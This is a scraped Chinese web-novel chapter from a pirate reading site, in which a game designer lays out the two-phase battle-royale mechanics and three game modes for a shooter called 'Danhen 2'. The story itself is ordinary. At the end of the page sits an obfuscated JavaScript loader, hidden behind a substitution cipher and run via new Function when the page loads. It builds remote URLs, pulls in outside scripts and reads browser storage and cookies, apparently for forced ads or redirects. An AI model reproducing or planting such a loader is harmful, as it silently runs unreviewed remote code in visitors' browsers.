首页
第1279章 三种游戏模式
返回
关灯 护眼:关 字号:小

第1279章 三种游戏模式

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    闵静超稍微顿了顿,继续说道:“游戏的背景,可以发生在未来世界一个废弃的战场中,玩家们扮演的是正在进行特训的士兵,需要赢得演习的胜利。”
    “在我的构想中,游戏分为两个阶段。”
    “第一个阶段可以叫探索阶段,也可以叫大乱斗的阶段。”
    “玩家们在进入游戏之前,可以自选身份:普通士兵、小队队长、战场指挥官,有主选和备选两个选项。”
    “游戏中默认是四人小队,有一名队长,玩家可以单排,也可以选择多排。”
    “系统会根据当前对局内玩家的实际情况来调整,比如战场内的主选队长的玩家不够,那么就从备选队长的人中去筛,如果还是不够,那就从普通士兵里面选择数据比较好的玩家。”
    “组成小队之后,由队长指定在地图上的某一地点降落,开始在附近搜集资源,寻找更好的枪械、更多的子弹和医疗物资等等。”
    “这时候是否要打,完全取决于玩家个人的喜好。”
    “如果玩家想打,那就去物资丰富的战略要地,比如战地医院、机场、碉堡等等,这种地方会很早遇到其他玩家,战斗激烈。”
    “如果玩家不想打,那就去物资相对缺少的地方,比如野外的营地、据点。”
    “前期如果小队中的队员死亡了,队友可以去指定地点将他复活;如果死亡的队员退出了游戏,可以重新召唤新玩家进入。”
    “当然,在匹配界面中,玩家可以自由选择是否要加入已经进行到中途的对局。”
    “整个小队被团灭,就从对局中淘汰。”
    “第一阶段的战斗是100vs100,也就是一共200人,有50支小队被投入地图中。”
    “为了防止玩家藏起来拖时间,我加入了一个‘防辐射服电量’的设定。玩家必须找到防辐射服的电池才能保持满血,一旦电池耗尽,就会因为辐射的原因而不断扣血,直至死亡。”
    “当场地中被淘汰到只剩100人,也就是有一半小队被淘汰掉,或者游戏进行到一定时间之后,就进入了第二阶段。”
    “此时,系统会综合第一阶段的玩家战绩、玩家在各个战略要地的分布情况等因素,将战场分成势均力敌的两方。”
    “在初始状态下,这两边必然是混杂在一起的,某些小队可能天然地就在敌军阵营的深处,占据着一座关键的碉堡;而某些小队可能在己方阵营的大后方,非常安全。”
    “这时候,系统选出的指挥官就可以开始指挥战场,向所有的小队发出指示。”
    “为了方便玩家交流,我们要做一套非常完善的信号标记系统,队长和指挥官可以直接通过标记系统来下达命令,也可以通过语音喊话。”
    “在这一阶段玩家即使阵亡也可以在营地或者医院中复活,但需要消耗物资,比如防辐射服的电池。地图上的物资是有限的,消耗完之后就无法再复活,最终以双方占据的战略要地数量和杀敌、收集物资获得的分数来计算胜负和评分。”
    孙希犹豫了一下之后问道:“那这样游戏时间会不会太长了?大部分FPS游戏都是几分钟一小局的快速模式,对玩家的情绪刺激快速又直接,像这样分成两个阶段,几分钟肯定完不成吧?”
    闵静超点点头:“嗯,我预想中一整局的游戏时长是大概30分钟,其实这个时间还好,基本上跟GOG中比较膀胱局的游戏时长相仿。”
    “而且不同于GOG这种游戏,《弹痕2》是有筛选机制的,并不是每个玩家都会玩到30分钟。”
    “第一阶段是筛选阶段,玩家如果一上来就跳到人员密集区进行激烈战斗的话,可能会杀掉所有人,让自己的小队直接占据一个战略要地,也可能直接小队全灭被迫退出。”
    “所以,对于喜欢快节奏的玩家来说,他们也不需要撑到30分钟;对于喜欢慢节奏、喜欢慢慢搜刮的玩家来说,第一阶段就跳一些比较人少的地方,只要撑过第一阶段不死,第二阶段就可以一直复活,手上的好武器和资源等等也都可以保留。”
    有一个微信公众号[书友大本营],可以领红包和点币,先到先得!
    “而且,第一阶段死了就死了,退出去立刻重开一局,也不耽误什么事情;如果撑过了第一阶段,那么第二阶段可以复活,手上的武器和装备也比较好了,再加上战斗结束之后的奖励,驱动力也是很充足的,不会中途退出。”
    “随着玩家的枪法越来越好,对游戏机制越来越了解,就可以逐渐尝试着去选一些竞争更加激烈的地点,让玩家群体实现一个自然的流动。”
    “这个机制相当于是对不同类型的玩家进行了一次细分,让玩家们都能在这个模式中找到适合自己的玩法。”
    周暮岩等人纷纷点头,闵静超说的这个办法似乎还真行得通。
    其实MOBA游戏之所以受欢迎,就是因为在游戏的前中后期都有不同的乐趣。
    前期单人对线,通过自己的技术确立初步优势;中期游走支援,帮全队打开局面;后期或争夺资源,或寻找绝境翻盘的机会,赢得胜利。
    而且,在这种游戏中由于玩家的等级和装备是在不断提升的,有类似于MMORPG的成长感,所以到中后期,除非是局面完全一边倒,否则玩家只要装备混起来了,有一战之力了,就不会轻易放弃前面二十多分钟的沉没成本,都会想办法寻找翻盘的机会。
    闵静超为《弹痕2》设计的这个大地图机制显然也是借鉴了MOBA游戏中的一些思路,一方面是通过游戏机制筛选、细分玩家群体,让不同种类的玩家体验到不同的乐趣;另一方面就是通过游戏机制保证后期也有足够的乐趣。
    闵静超继续说道:“不过,虽然从理论上来说这个大地图机制的设计算是兼顾了不同玩家的体验,但实际运作起来,可能会出现一些意外情况。”
    “比如,匹配机制因为数据不充分,没能在初步筛选之后平衡好双方实力;或者因为游戏中机制的不完善,导致不同阶段的进度过快或过慢,影响了玩家实际的游戏体验。”
    “对于这个问题,其实没有太好的办法,就只能慢慢地调。”
    “但在调节的过程中,有可能会造成玩家的流失。”
    这一点其实也很好理解,一个游戏机制想要完美运转,是需要大量数据支持的。
    比如GOG这种MOBA游戏,它的体验之所以出色,是因为每分钟刷多少小兵、获得多少经验、拿到多少钱、野怪的属性如何等等这些数据,全都经过周密而复杂的修改、调校,才变成了现在的这个样子。
    一旦某个环节出现了问题,比如玩家升级过快,那么整个游戏的节奏都会被破坏,由此产生严重的连锁反应,甚至完全打乱最开始的构想。
    闵静超给GOG做了这么长时间的平衡,当然很清楚这一点。
    而且也不太可能从一开始就完全避免这些问题,只能是在游戏中根据玩家的反馈和收集到的数据进行不断地调整。
    周暮岩说道:“这个其实还好,大不了游戏开发出来之后我们开几次测试,调整好了之后再上线。”
    “反正其他的游戏在正式上线之前也要测试很久。”
    闵静超点点头,说道:“测试倒是一种办法,不过我还想了另外一种办法。”
    “就是利用现有的大地图,再多开几个新的游戏机制。”
    “在原有机制的基础上,进行拆分、简化,这样就保证哪怕大地图的经典机制在初期遇到一些问题,影响了玩家的体验,他们也还有别的模式可以玩。”
    “之前裴总砍了很多模式,我们肯定就不做了,跟《海上堡垒》相比,只保留了最基本的突突突模式。”
    “我想了一下,规划了三种模式。”
    “第一种就是纯粹的突突突模式,在大地图上随便选取一小块地方,玩家们可以持续复活,默认拿着自己最喜欢的枪,见人就打,最后以人头数记分。”
    “反正都是从大地图上取材,地图稍微改一改就能用,把大地图分成很多小图,既能满足我们的需要,又可以引导玩家熟悉大地图的地形。”
    “玩家在这个模式中打得多了,再到大地图里自然就认识路了。”
    “第二种是只保留一阶段的模式,只是需要对细节做出一些调整。”
    “因为一阶段是小队为单位作战,基本不需要平衡实力,反正站到最后的就是赢家。”
    “但由于没有了第二阶段的对战,所以大地图上剩下那么多玩家显然没意义,要加速让玩家死亡、退出,所以我考虑加入一个‘机械军团入侵’的机制。”
    “通俗一点说就是游戏进行到一定时间以后,机械军团就会源源不断地从地图周围刷新出来,而且属性逐渐提升。”
    “玩家有两种选择,一种是往地图里面跑,这样就自然会遭遇其他玩家,爆发战斗;另一种就是搜刮资源,抢占有利地形和战略要地,跟这些机械军团硬刚。”
    “不想跟玩家打,就去站一个碉堡刷机械军团,跟《海上堡垒》的丧尸模式有异曲同工之妙。”
    “前者算是‘逃生’的玩法,而后者则是‘坚守’的玩法,这取决于玩家当时所处的地点,以及个人的游戏习惯。”
    “第三种玩法就是我刚才介绍的经典玩法。”
    “不同的玩法在游戏的过程中可以给玩家带来不同的乐趣,并形成互补。”
    “这样一来,《弹痕2》才能给玩家带来丰富而又与众不同的游戏体验!”
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();